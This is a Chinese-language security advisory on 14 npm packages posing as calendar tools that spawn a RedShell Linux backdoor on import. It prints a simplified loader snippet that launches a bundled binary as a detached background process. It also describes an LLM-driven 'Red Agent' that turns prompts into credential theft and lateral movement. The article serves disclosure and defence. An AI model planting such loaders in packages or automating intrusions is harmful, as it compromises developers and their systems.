事件概述:14 个 npm 包伪装日历工具,实际投递 AI 驱动 Linux 后门
2026 年 8 月 22 日 TrendAI(Trend Micro 旗下企业安全业务)公开披露:14 个伪装成日历与 streak 工具的 npm 包在内嵌 dist/index.mjs 入口文件中静默启动 Linux 后门 RedShell,后门接入商用命令控制框架 RedC2 4.0。包名如 streak-metrics-math@1.0.0、kit-map-vim@1.0.0、streak-map-cache@1.0.0、streak-math-metrics@1.0.0 等 14 个版本,集中在 1.0.0 与 1.0.1。这些包并非空壳,功能完全真实可用,这层”功能性伪装”显著降低了传统可疑包识别的命中度。
与传统供应链投毒不同,本次攻击无需任何 install hook 触发,只要依赖图任意位置 import 这些包——包括直接与间接依赖——就会落码。其关键在于 loader 直接使用 Node.js child_process spawn 启动二进制载荷,detached 模式后台脱离 stdio,不需要 npm 客户端执行任何安装脚本,–ignore-scripts 这种防御开关完全失效。
技术细节:dist/index.mjs loader 与 RedC2 4.0 框架
投递链路
在 dist/index.mjs 中,loader 同时重导出日期辅助函数和启动后台进程:首先寻找内置二进制载荷(命名包含 math-core.bin / math-calc.bin / calc-math.dat / calc-cache.bin / calc-mapping.bin 等),存在于包根目录 dist/ 与子目录 dist/internal/ 中。随后调用 child_process.spawn 设置 detached: true 与 stdio: ‘ignore’ 启动二进制,将其作为操作系统级后台进程独立运行。每个二进制内容相同,落入 RedShell Linux 信标。
// 简化示意(基于公开报告)
import { someDateUtil } from './date-utils.js';
import { spawn } from 'child_process';
import { chmodSync } from 'fs';
chmodSync('./internal/math-core.bin', 0o755);
spawn('./internal/math-core.bin', [], {
detached: true,
stdio: 'ignore'
}).unref();
export { someDateUtil };
RedC2 4.0 框架与 RedShell Linux 信标
RedC2 4.0 是名为 MarlboroMan 的运营者在 Hack Forums 公开售卖的商用 C2 框架,单套售价 99.99 美元,2025 年 8 月发布 2.0、2026 年 1 月发布 3.0、2026 年 6 月发布 4.0,本次出场的 RedShell 是 4.0 版本新增的 Linux 信标。RedShell 在 Linux 平台支持下述能力:交互式 /bin/sh、系统发现与文件操作、SSH 密钥与浏览器凭据盗取、持久化机制、内存 ELF 执行、SOCKS5 代理、网络横向。RedC2 整体额外提供跨平台 Beacon、终端访问、文件传输、分段 Payload 投递、Beacon Object File 执行、AI 助手 Red Agent 等扩展能力。
AI 助手 Red Agent:自然语言驱动后渗透
RedC2 4.0 最值得警惕的新组件是 LLM 加持的 Red Agent,允许操作员用自然语言提示下发命令,由模型自动转换为多步链路。例如输入”枚举该子网内 SSH 暴露的主机并 dump /etc/shadow”,Red Agent 会结合 RedShell 内置命令与会话数据自动拆解执行。这一能力显著降低攻击者技能门槛,也为自然语言提示注入提供了新的对抗面。
影响评估:CI/CD 与 npm 生态的双重风险
由于 import 触发的特性,本次攻击对开发流水线、CI 容器、Serverless 函数与边缘计算环境构成同等威胁。即便开发者只引用了一个间接依赖(被传递依赖图拉入),也会执行后门。后门启动后并不通过 stdout 反馈任何状态,其存活性对端到端日志、SRE 监控、传统 npm-audit 工具也基本透明。直到 C2 与该信标建立稳定通讯,操作员才能开始横向与凭据盗取。
过去一年类似的供应链投毒事件呈现两个新趋势:其一是被攻陷的维护者账号加入恶意依赖(与昨日 Rust crate arrayref 等中毒事件同期发生),其二是直接投放功能性包利用入口语义绕过传统防御。这两类结合让传统基于 install hook、–ignore-scripts、依赖树 review 的供应链防御机制系统性失效。
修复与防御建议
立即排查
- 在锁文件与 lockfile 范围内搜索 streak-metrics-math、kit-map-vim、streak-map-cache、streak-map-kit、map-streak-kit、streak-cache-map、streak-calc-metrics、streak-calc-math、streak-math-abz、streak-metricsaz、streak-math-metrics、streak-metricazbd、streak-metricsazb、streak-kit-map 共 14 个包名
- 检查运行 Linux 主机是否有异常 detached 子进程、网络出站到未知 C2、auth.log/SSH 密钥被篡改、~/.bashrc / profile 异常插入
- 审计构建容器内是否有 math-core.bin、math-calc.bin、calc-math.dat、calc-cache.bin、calc.bin、calc-mapping.bin 等可疑文件
供应链加固
- 启用 npm 签名验证和 sigstore 验真,关键项目锁定已知维护者白名单
- 在 CI 中引入持续漏洞与 IOC 扫描,把 npm audit、Socket、Trivy、npm-sbom 等工具并列运行
- 对 detached 子进程与新增 ELF 可执行文件做进程树告警,覆盖 RedShell 与类似 beacon
- 对生产环境的 init 容器与运行时做基线漂移监控,捕捉新增可执行文件、cron、systemd 单元
- 对开发镜像与生产镜像做最小化原则,避免在没有产品需求的容器内保留 npm 全量依赖
组织流程
- 禁止在生产环境中直接安装未经审计的依赖,特别是 1.0.0 等冷启动版本号
- 建立内部依赖评审与维护者背景调查流程
- 对容器化与 Serverless 部署强制启用只读根文件系统与 seccomp profile,限制 spawn 与 detached 进程
- 在事件响应预案中预置供应链攻击场景,加快排查与回滚
本次事件与一天前披露的 Rust crate arrayref / internment / append-only-vec 投毒事件在同一时间窗口内接连爆发,标志着软件供应链已进入攻击者日常化探索的成熟阶段。开发者、企业安全、SRE 三方需要共同把”任何 import 都是潜在代码执行”作为新的工作假设,重新设计 CI/CD、容器与运行时的最小化与可观察性。
参考来源
- TrendAI(Trend Micro)公开报告
- The Hacker News、SC Media、Cyber Security Now 同期报道
- GitHub PoC 与 IOC 集合(公开)